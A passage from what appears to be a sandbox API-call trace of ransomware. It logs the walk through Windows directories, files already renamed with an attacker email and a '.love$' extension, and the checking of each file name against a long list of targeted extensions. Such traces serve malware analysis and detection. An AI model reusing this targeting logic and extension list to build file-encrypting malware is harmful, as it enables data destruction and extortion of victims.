ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xaa472c96, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaa53082b, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="UiInfo.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="UIINFO~1.LOV")) returned 1 [0223.517] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xaa497ec7, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xaa497ec7, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaa4be13f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="watermark.bmp.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="WATERM~1.LOV")) returned 1 [0223.517] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0xad9b7d19, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="WINDOW~1.LOV")) returned 1 [0223.517] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0xacf6f9d9, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="WINDOW~2.LOV")) returned 1 [0223.517] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0xaed408da, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="WINDOW~3.LOV")) returned 1 [0223.517] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xaed408da, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="WINDOW~4.LOV")) returned 1 [0223.518] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xaed408da, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="WINDOW~4.LOV")) returned 0 [0223.518] FindClose (in: hFindFile=0x6d02c8 | out: hFindFile=0x6d02c8) returned 1 [0223.518] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0223.519] FindNextFileW (in: hFindFile=0x6d0188, lpFindFileData=0x396fcf8 | out: lpFindFileData=0x396fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76e90000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0223.519] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x40f0050 [0223.519] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName=".", cAlternateFileName="")) returned 0x6d05c8 [0223.519] FindNextFileW (in: hFindFile=0x6d05c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="..", cAlternateFileName="")) returned 1 [0223.519] FindNextFileW (in: hFindFile=0x6d05c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x6d72d3cf, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6d72d3cf, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="BCD", cAlternateFileName="")) returned 1 [0223.519] FindNextFileW (in: hFindFile=0x6d05c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0223.519] lstrlenW (lpString="BCD.LOG") returned 7 [0223.519] lstrlenW (lpString=".1cd") returned 4 [0223.519] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0223.519] lstrlenW (lpString=".3ds") returned 4 [0223.519] lstrcmpiW (lpString1=".3ds", lpString2=".LOG") returned -1 [0223.519] lstrlenW (lpString=".3fr") returned 4 [0223.520] lstrcmpiW (lpString1=".3fr", lpString2=".LOG") returned -1 [0223.520] lstrlenW (lpString=".3g2") returned 4 [0223.520] lstrcmpiW (lpString1=".3g2", lpString2=".LOG") returned -1 [0223.520] lstrlenW (lpString=".3gp") returned 4 [0223.520] lstrcmpiW (lpString1=".3gp", lpString2=".LOG") returned -1 [0223.520] lstrlenW (lpString=".7z") returned 3 [0223.520] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0223.520] lstrlenW (lpString=".accda") returned 6 [0223.520] lstrcmpiW (lpString1=".accda", lpString2="CD.LOG") returned -1 [0223.520] lstrlenW (lpString=".accdb") returned 6 [0223.520] lstrcmpiW (lpString1=".accdb", lpString2="CD.LOG") returned -1 [0223.520] lstrlenW (lpString=".accdc") returned 6 [0223.520] lstrcmpiW (lpString1=".accdc", lpString2="CD.LOG") returned -1 [0223.520] lstrlenW (lpString=".accde") returned 6 [0223.520] lstrcmpiW (lpString1=".accde", lpString2="CD.LOG") returned -1 [0223.520] lstrlenW (lpString=".accdt") returned 6 [0223.520] lstrcmpiW (lpString1=".accdt", lpString2="CD.LOG") returned -1 [0223.520] lstrlenW (lpString=".accdw") returned 6 [0223.520] lstrcmpiW (lpString1=".accdw", lpString2="CD.LOG") returned -1 [0223.520] lstrlenW (lpString=".adb") returned 4 [0223.520] lstrcmpiW (lpString1=".adb", lpString2=".LOG") returned -1 [0223.520] lstrlenW (lpString=".adp") returned 4 [0223.520] lstrcmpiW (lpString1=".adp", lpString2=".LOG") returned -1 [0223.520] lstrlenW (lpString=".ai") returned 3 [0223.520] lstrcmpiW (lpString1=".ai", lpString2="LOG") returned -1 [0223.520] lstrlenW (lpString=".ai3") returned 4 [0223.520] lstrcmpiW (lpString1=".ai3", lpString2=".LOG") returned -1 [0223.520] lstrlenW (lpString=".ai4") returned 4 [0223.520] lstrcmpiW (lpString1=".ai4", lpString2=".LOG") returned -1 [0223.520] lstrlenW (lpString=".ai5") returned 4 [0223.520] lstrcmpiW (lpString1=".ai5", lpString2=".LOG") returned -1 [0223.521] lstrlenW (lpString=".ai6") returned 4 [0223.521] lstrcmpiW (lpString1=".ai6", lpString2=".LOG") returned -1 [0223.521] lstrlenW (lpString=".ai7") returned 4 [0223.521] lstrcmpiW (lpString1=".ai7", lpString2=".LOG") returned -1 [0223.521] lstrlenW (lpString=".ai8") returned 4 [0223.521] lstrcmpiW (lpString1=".ai8", lpString2=".LOG") returned -1 [0223.521] lstrlenW (lpString=".anim") returned 5 [0223.521] lstrcmpiW (lpString1=".anim", lpString2="D.LOG") returned -1 [0223.521] lstrlenW (lpString=".arw") returned 4 [0223.521] lstrcmpiW (lpString1=".arw", lpString2=".LOG") returned -1 [0223.521] lstrlenW (lpString=".as") returned 3 [0223.521] lstrcmpiW (lpString1=".as", lpString2="LOG") returned -1 [0223.521] lstrlenW (lpString=".asa") returned 4 [0223.521] lstrcmpiW (lpString1=".asa", lpString2=".LOG") returned -1 [0223.521] lstrlenW (lpString=".asc") returned 4 [0223.521] lstrcmpiW (lpString1=".asc", lpString2=".LOG") returned -1 [0223.521] lstrlenW (lpString=".ascx") returned 5 [0223.521] lstrcmpiW (lpString1=".ascx", lpString2="D.LOG") returned -1 [0223.521] lstrlenW (lpString=".asm") returned 4 [0223.521] lstrcmpiW (lpString1=".asm", lpString2=".LOG") returned -1 [0223.521] lstrlenW (lpString=".asmx") returned 5 [0223.521] lstrcmpiW (lpString1=".asmx", lpString2="D.LOG") returned -1 [0223.521] lstrlenW (lpString=".asp") returned 4 [0223.521] lstrcmpiW (lpString1=".asp", lpString2=".LOG") returned -1 [0223.521] lstrlenW (lpString=".aspx") returned 5 [0223.521] lstrcmpiW (lpString1=".aspx", lpString2="D.LOG") returned -1 [0223.521] lstrlenW (lpString=".asr") returned 4 [0223.521] lstrcmpiW (lpString1=".asr", lpString2=".LOG") returned -1 [0223.522] lstrlenW (lpString=".asx") returned 4 [0223.522] lstrcmpiW (lpString1=".asx", lpString2=".LOG") returned -1 [0223.522] lstrlenW (lpString=".avi") returned 4 [0223.522] lstrcmpiW (lpString1=".avi", lpString2=".LOG") returned -1 [0223.522] lstrlenW (lpString=".avs") returned 4 [0223.522] lstrcmpiW (lpString1=".avs", lpString2=".LOG") returned -1 [0223.522] lstrlenW (lpString=".backup") returned 7 [0223.522] lstrcmpiW (lpString1=".backup", lpString2="BCD.LOG") returned -1 [0223.522] lstrlenW (lpString=".bak") returned 4 [0223.522] lstrcmpiW (lpString1=".bak", lpString2=".LOG") returned -1 [0223.522] lstrlenW (lpString=".bay") returned 4 [0223.522] lstrcmpiW (lpString1=".bay", lpString2=".LOG") returned -1 [0223.522] lstrlenW (lpString=".bd") returned 3 [0223.522] lstrcmpiW (lpString1=".bd", lpString2="LOG") returned -1 [0223.522] lstrlenW (lpString=".bin") returned 4 [0223.522] lstrcmpiW (lpString1=".bin", lpString2=".LOG") returned -1 [0223.522] lstrlenW (lpString=".bmp") returned 4 [0223.522] lstrcmpiW (lpString1=".bmp", lpString2=".LOG") returned -1 [0223.522] lstrlenW (lpString=".bz2") returned 4 [0223.522] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0223.522] lstrlenW (lpString=".c") returned 2 [0223.522] lstrcmpiW (lpString1=".c", lpString2="OG") returned -1 [0223.522] lstrlenW (lpString=".cdr") returned 4 [0223.522] lstrcmpiW (lpString1=".cdr", lpString2=".LOG") returned -1 [0223.522] lstrlenW (lpString=".cer") returned 4 [0223.522] lstrcmpiW (lpString1=".cer", lpString2=".LOG") returned -1 [0223.522] lstrlenW (lpString=".cf") returned 3 [0223.523] lstrcmpiW (lpString1=".cf", lpString2="LOG") returned -1 [0223.523] lstrlenW (lpString=".cfc") returned 4 [0223.523] lstrcmpiW (lpString1=".cfc", lpString2=".LOG") returned -1 [0223.523] lstrlenW (lpString=".cfm") returned 4 [0223.523] lstrcmpiW (lpString1=".cfm", lpString2=".LOG") returned -1 [0223.523] lstrlenW (lpString=".cfml") returned 5 [0223.523] lstrcmpiW (lpString1=".cfml", lpString2="D.LOG") returned -1 [0223.523] lstrlenW (lpString=".cfu") returned 4 [0223.523] lstrcmpiW (lpString1=".cfu", lpString2=".LOG") returned -1 [0223.523] lstrlenW (lpString=".chm") returned 4 [0223.523] lstrcmpiW (lpString1=".chm", lpString2=".LOG") returned -1 [0223.523] lstrlenW (lpString=".cin") returned 4 [0223.523] lstrcmpiW (lpString1=".cin", lpString2=".LOG") returned -1 [0223.523] lstrlenW (lpString=".class") returned 6 [0223.523] lstrcmpiW (lpString1=".class", lpString2="CD.LOG") returned -1 [0223.523] lstrlenW (lpString=".clx") returned 4 [0223.523] lstrcmpiW (lpString1=".clx", lpString2=".LOG") returned -1 [0223.523] lstrlenW (lpString=".config") returned 7 [0223.523] lstrcmpiW (lpString1=".config", lpString2="BCD.LOG") returned -1 [0223.523] lstrlenW (lpString=".cpp") returned 4 [0223.523] lstrcmpiW (lpString1=".cpp", lpString2=".LOG") returned -1 [0223.523] lstrlenW (lpString=".cr2") returned 4 [0223.523] lstrcmpiW (lpString1=".cr2", lpString2=".LOG") returned -1 [0223.523] lstrlenW (lpString=".crt") returned 4 [0223.523] lstrcmpiW (lpString1=".crt", lpString2=".LOG") returned -1 [0223.523] lstrlenW (lpString=".crw") returned 4 [0223.523] lstrcmpiW (lpString1=".crw", lpString2=".LOG") returned -1 [0223.524] lstrlenW (lpString=".cs") returned 3 [0223.524] lstrcmpiW (lpString1=".cs", lpString2="LOG") returned -1 [0223.524] lstrlenW (lpString=".css") returned 4 [0223.524] lstrcmpiW (lpString1=".css", lpString2=".LOG") returned -1 [0223.524] lstrlenW (lpString=".csv") returned 4 [0223.524] lstrcmpiW (lpString1=".csv", lpString2=".LOG") returned -1 [0223.524] lstrlenW (lpString=".cub") returned 4 [0223.524] lstrcmpiW (lpString1=".cub", lpString2=".LOG") returned -1 [0223.524] lstrlenW (lpString=".dae") returned 4 [0223.524] lstrcmpiW (lpString1=".dae", lpString2=".LOG") returned -1 [0223.524] lstrlenW (lpString=".dat") returned 4 [0223.524] lstrcmpiW (lpString1=".dat", lpString2=".LOG") returned -1 [0223.524] lstrlenW (lpString=".db") returned 3 [0223.524] lstrcmpiW (lpString1=".db", lpString2="LOG") returned -1 [0223.524] lstrlenW (lpString=".dbf") returned 4 [0223.524] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0223.524] lstrlenW (lpString=".dbx") returned 4 [0223.524] lstrcmpiW (lpString1=".dbx", lpString2=".LOG") returned -1 [0223.524] lstrlenW (lpString=".dc3") returned 4 [0223.524] lstrcmpiW (lpString1=".dc3", lpString2=".LOG") returned -1 [0223.524] lstrlenW (lpString=".dcm") returned 4 [0223.524] lstrcmpiW (lpString1=".dcm", lpString2=".LOG") returned -1 [0223.524] lstrlenW (lpString=".dcr") returned 4 [0223.524] lstrcmpiW (lpString1=".dcr", lpString2=".LOG") returned -1 [0223.524] lstrlenW (lpString=".der") returned 4 [0223.524] lstrcmpiW (lpString1=".der", lpString2=".LOG") returned -1 [0223.524] lstrlenW (lpString=".dib") returned 4 [0223.524] lstrcmpiW (lpString1=".dib", lpString2=".LOG") returned -1 [0223.525] lstrlenW (lpString=".dic") returned 4 [0223.525] lstrcmpiW (lpString1=".dic", lpString2=".LOG") returned -1 [0223.525] lstrlenW (lpString=".dif") returned 4 [0223.525] lstrcmpiW (lpString1=".dif", lpString2=".LOG") returned -1 [0223.525] lstrlenW (lpString=".divx") returned 5 [0223.525] lstrcmpiW (lpString1=".divx", lpString2="D.LOG") returned -1 [0223.525] lstrlenW (lpString=".djvu") returned 5 [0223.525] lstrcmpiW (lpString1=".djvu", lpString2="D.LOG") returned -1 [0223.525] lstrlenW (lpString=".dng") returned 4 [0223.525] lstrcmpiW (lpString1=".dng", lpString2=".LOG") returned -1 [0223.525] lstrlenW (lpString=".doc") returned 4 [0223.525] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0223.525] lstrlenW (lpString=".docm") returned 5 [0223.525] lstrcmpiW (lpString1=".docm", lpString2="D.LOG") returned -1 [0223.525] lstrlenW (lpString=".docx") returned 5 [0223.525] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0223.525] lstrlenW (lpString=".dot") returned 4 [0223.525] lstrcmpiW (lpString1=".dot", lpString2=".LOG") returned -1 [0223.525] lstrlenW (lpString=".dotm") returned 5 [0223.525] lstrcmpiW (lpString1=".dotm", lpString2="D.LOG") returned -1 [0223.525] lstrlenW (lpString=".dotx") returned 5 [0223.525] lstrcmpiW (lpString1=".dotx", lpString2="D.LOG") returned -1 [0223.525] lstrlenW (lpString=".dpx") returned 4 [0223.525] lstrcmpiW (lpString1=".dpx", lpString2=".LOG") returned -1 [0223.525] lstrlenW (lpString=".dqy") returned 4 [0223.525] lstrcmpiW (lpString1=".dqy", lpString2=".LOG") returned -1 [0223.525] lstrlenW (lpString=".dsn") returned 4 [0223.526] lstrcmpiW (lpString1=".dsn", lpString2=".LOG") returned -1 [0223.526] lstrlenW (lpString=".dt") returned 3 [0223.526] lstrcmpiW (lpString1=".dt", lpString2="LOG") returned -1 [0223.526] lstrlenW (lpString=".dtd") returned 4 [0223.526] lstrcmpiW (lpString1=".dtd", lpString2=".LOG") returned -1 [0223.526] lstrlenW (lpString=".dwg") returned 4 [0223.526] lstrcmpiW (lpString1=".dwg", lpString2=".LOG") returned -1 [0223.526] lstrlenW (lpString=".dwt") returned 4 [0223.526] lstrcmpiW (lpString1=".dwt", lpString2=".LOG") returned -1 [0223.526] lstrlenW (lpString=".dx") returned 3 [0223.526] lstrcmpiW (lpString1=".dx", lpString2="LOG") returned -1 [0223.526] lstrlenW (lpString=".dxf") returned 4 [0223.526] lstrcmpiW (lpString1=".dxf", lpString2=".LOG") returned -1 [0223.526] lstrlenW (lpString=".edml") returned 5 [0223.526] lstrcmpiW (lpString1=".edml", lpString2="D.LOG") returned -1 [0223.526] lstrlenW (lpString=".efd") returned 4 [0223.526] lstrcmpiW (lpString1=".efd", lpString2=".LOG") returned -1 [0223.526] lstrlenW (lpString=".elf") returned 4 [0223.526] lstrcmpiW (lpString1=".elf", lpString2=".LOG") returned -1 [0223.526] lstrlenW (lpString=".emf") returned 4 [0223.526] lstrcmpiW (lpString1=".emf", lpString2=".LOG") returned -1 [0223.526] lstrlenW (lpString=".emz") returned 4 [0223.526] lstrcmpiW (lpString1=".emz", lpString2=".LOG") returned -1 [0223.526] lstrlenW (lpString=".epf") returned 4 [0223.526] lstrcmpiW (lpString1=".epf", lpString2=".LOG") returned -1 [0223.526] lstrlenW (lpString=".eps") returned 4 [0223.526] lstrcmpiW (lpString1=".eps", lpString2=".LOG") returned -1 [0223.526] lstrlenW (lpString=".epsf") returned 5 [0223.527] lstrcmpiW (lpString1=".epsf", lpString2="D.LOG") returned -1 [0223.527] lstrlenW (lpString=".epsp") returned 5 [0223.527] lstrcmpiW (lpString1=".epsp", lpString2="D.LOG") returned -1 [0223.527] lstrlenW (lpString=".erf") returned 4 [0223.527] lstrcmpiW (lpString1=".erf", lpString2=".LOG") returned -1 [0223.527] lstrlenW (lpString=".exr") returned 4 [0223.527] lstrcmpiW (lpString1=".exr", lpString2=".LOG") returned -1 [0223.527] lstrlenW (lpString=".f4v") returned 4 [0223.527] lstrcmpiW (lpString1=".f4v", lpString2=".LOG") returned -1 [0223.527] lstrlenW (lpString=".fido") returned 5 [0223.527] lstrcmpiW (lpString1=".fido", lpString2="D.LOG") returned -1 [0223.527] lstrlenW (lpString=".flm") returned 4 [0223.527] lstrcmpiW (lpString1=".flm", lpString2=".LOG") returned -1 [0223.527] lstrlenW (lpString=".flv") returned 4 [0223.527] lstrcmpiW (lpString1=".flv", lpString2=".LOG") returned -1 [0223.527] lstrlenW (lpString=".frm") returned 4 [0223.527] lstrcmpiW (lpString1=".frm", lpString2=".LOG") returned -1 [0223.527] lstrlenW (lpString=".fxg") returned 4 [0223.527] lstrcmpiW (lpString1=".fxg", lpString2=".LOG") returned -1 [0223.527] lstrlenW (lpString=".geo") returned 4 [0223.527] lstrcmpiW (lpString1=".geo", lpString2=".LOG") returned -1 [0223.527] lstrlenW (lpString=".gif") returned 4 [0223.527] lstrcmpiW (lpString1=".gif", lpString2=".LOG") returned -1 [0223.527] lstrlenW (lpString=".grs") returned 4 [0223.527] lstrcmpiW (lpString1=".grs", lpString2=".LOG") returned -1 [0223.527] lstrlenW (lpString=".gz") returned 3 [0223.527] lstrcmpiW (lpString1=".gz", lpString2="LOG") returned -1 [0223.528] lstrlenW (lpString=".h") returned 2 [0223.528] lstrcmpiW (lpString1=".h", lpString2="OG") returned -1 [0223.528] lstrlenW (lpString=".hdr") returned 4 [0223.528] lstrcmpiW (lpString1=".hdr", lpString2=".LOG") returned -1 [0223.528] lstrlenW (lpString=".hpp") returned 4 [0223.528] lstrcmpiW (lpString1=".hpp", lpString2=".LOG") returned -1 [0223.528] lstrlenW (lpString=".hta") returned 4 [0223.528] lstrcmpiW (lpString1=".hta", lpString2=".LOG") returned -1 [0223.528] lstrlenW (lpString=".htc") returned 4 [0223.528] lstrcmpiW (lpString1=".htc", lpString2=".LOG") returned -1 [0223.528] lstrlenW (lpString=".htm") returned 4 [0223.528] lstrcmpiW (lpString1=".htm", lpString2=".LOG") returned -1 [0223.528] lstrlenW (lpString=".html") returned 5 [0223.528] lstrcmpiW (lpString1=".html", lpString2="D.LOG") returned -1 [0223.528] lstrlenW (lpString=".icb") returned 4 [0223.528] lstrcmpiW (lpString1=".icb", lpString2=".LOG") returned -1 [0223.528] lstrlenW (lpString=".ics") returned 4 [0223.528] lstrcmpiW (lpString1=".ics", lpString2=".LOG") returned -1 [0223.528] lstrlenW (lpString=".iff") returned 4 [0223.528] lstrcmpiW (lpString1=".iff", lpString2=".LOG") returned -1 [0223.528] lstrlenW (lpString=".inc") returned 4 [0223.528] lstrcmpiW (lpString1=".inc", lpString2=".LOG") returned -1 [0223.528] lstrlenW (lpString=".indd") returned 5 [0223.528] lstrcmpiW (lpString1=".indd", lpString2="D.LOG") returned -1 [0223.528] lstrlenW (lpString=".ini") returned 4 [0223.528] lstrcmpiW (lpString1=".ini", lpString2=".LOG") returned -1 [0223.528] lstrlenW (lpString=".iqy") returned 4 [0223.528] lstrcmpiW (lpString1=".iqy", lpString2=".LOG") returned -1 [0223.528] lstrlenW (lpString=".j2c") returned 4 [0223.528] lstrcmpiW (lpString1=".j2c", lpString2=".LOG") returned -1 [0223.528] lstrlenW (lpString=".j2k") returned 4 [0223.528] lstrcmpiW (lpString1=".j2k", lpString2=".LOG") returned -1 [0223.528] lstrlenW (lpString=".java") returned 5 [0223.528] lstrcmpiW (lpString1=".java", lpString2="D.LOG") returned -1 [0223.529] lstrlenW (lpString=".jp2") returned 4 [0223.529] lstrcmpiW (lpString1=".jp2", lpString2=".LOG") returned -1 [0223.529] lstrlenW (lpString=".jpc") returned 4 [0223.529] lstrcmpiW (lpString1=".jpc", lpString2=".LOG") returned -1 [0223.529] lstrlenW (lpString=".jpe") returned 4 [0223.529] lstrcmpiW (lpString1=".jpe", lpString2=".LOG") returned -1 [0223.529] lstrlenW (lpString=".jpeg") returned 5 [0223.529] lstrcmpiW (lpString1=".jpeg", lpString2="D.LOG") returned -1 [0223.529] lstrlenW (lpString=".jpf") returned 4 [0223.529] lstrcmpiW (lpString1=".jpf", lpString2=".LOG") returned -1 [0223.529] lstrlenW (lpString=".jpg") returned 4 [0223.529] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0223.529] lstrlenW (lpString=".jpx") returned 4 [0223.529] lstrcmpiW (lpString1=".jpx", lpString2=".LOG") returned -1 [0223.529] lstrlenW (lpString=".js") returned 3 [0223.529] lstrcmpiW (lpString1=".js", lpString2="LOG") returned -1 [0223.529] lstrlenW (lpString=".jsf") returned 4 [0223.529] lstrcmpiW (lpString1=".jsf", lpString2=".LOG") returned -1 [0223.529] lstrlenW (lpString=".json") returned 5 [0223.529] lstrcmpiW (lpString1=".json", lpString2="D.LOG") returned -1 [0223.529] lstrlenW (lpString=".jsp") returned 4 [0223.529] lstrcmpiW (lpString1=".jsp", lpString2=".LOG") returned -1 [0223.529] lstrlenW (lpString=".kdc") returned 4 [0223.529] lstrcmpiW (lpString1=".kdc", lpString2=".LOG") returned -1 [0223.529] lstrlenW (lpString=".kmz") returned 4 [0223.529] lstrcmpiW (lpString1=".kmz", lpString2=".LOG") returned -1 [0223.529] lstrlenW (lpString=".kwm") returned 4 [0223.529] lstrcmpiW (lpString1=".kwm", lpString2=".LOG") returned -1 [0223.529] lstrlenW (lpString=".lasso") returned 6 [0223.529] lstrcmpiW (lpString1=".lasso", lpString2="CD.LOG") returned -1 [0223.529] lstrlenW (lpString=".lbi") returned 4 [0223.529] lstrcmpiW (lpString1=".lbi", lpString2=".LOG") returned -1 [0223.530] lstrlenW (lpString=".lgf") returned 4 [0223.530] lstrcmpiW (lpString1=".lgf", lpString2=".LOG") returned -1 [0223.530] lstrlenW (lpString=".lgp") returned 4 [0223.530] lstrcmpiW (lpString1=".lgp", lpString2=".LOG") returned -1 [0223.530] lstrlenW (lpString=".log") returned 4 [0223.530] lstrcmpiW (lpString1=".log", lpString2=".LOG") returned 0 [0223.530] FindNextFileW (in: hFindFile=0x6d05c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0223.530] lstrlenW (lpString="BCD.LOG1") returned 8 [0223.530] lstrlenW (lpString=".1cd") returned 4 [0223.530] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0223.531] lstrlenW (lpString=".3ds") returned 4 [0223.531] lstrcmpiW (lpString1=".3ds", lpString2="LOG1") returned -1 [0223.531] lstrlenW (lpString=".3fr") returned 4 [0223.531] lstrcmpiW (lpString1=".3fr", lpString2="LOG1") returned -1 [0223.531] lstrlenW (lpString=".3g2") returned 4 [0223.531] lstrcmpiW (lpString1=".3g2", lpString2="LOG1") returned -1 [0223.531] lstrlenW (lpString=".3gp") returned 4 [0223.531] lstrcmpiW (lpString1=".3gp", lpString2="LOG1") returned -1 [0223.531] lstrlenW (lpString=".7z") returned 3 [0223.531] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0223.531] lstrlenW (lpString=".accda") returned 6 [0223.531] lstrcmpiW (lpString1=".accda", lpString2="D.LOG1") returned -1 [0223.531] lstrlenW (lpString=".accdb") returned 6 [0223.531] 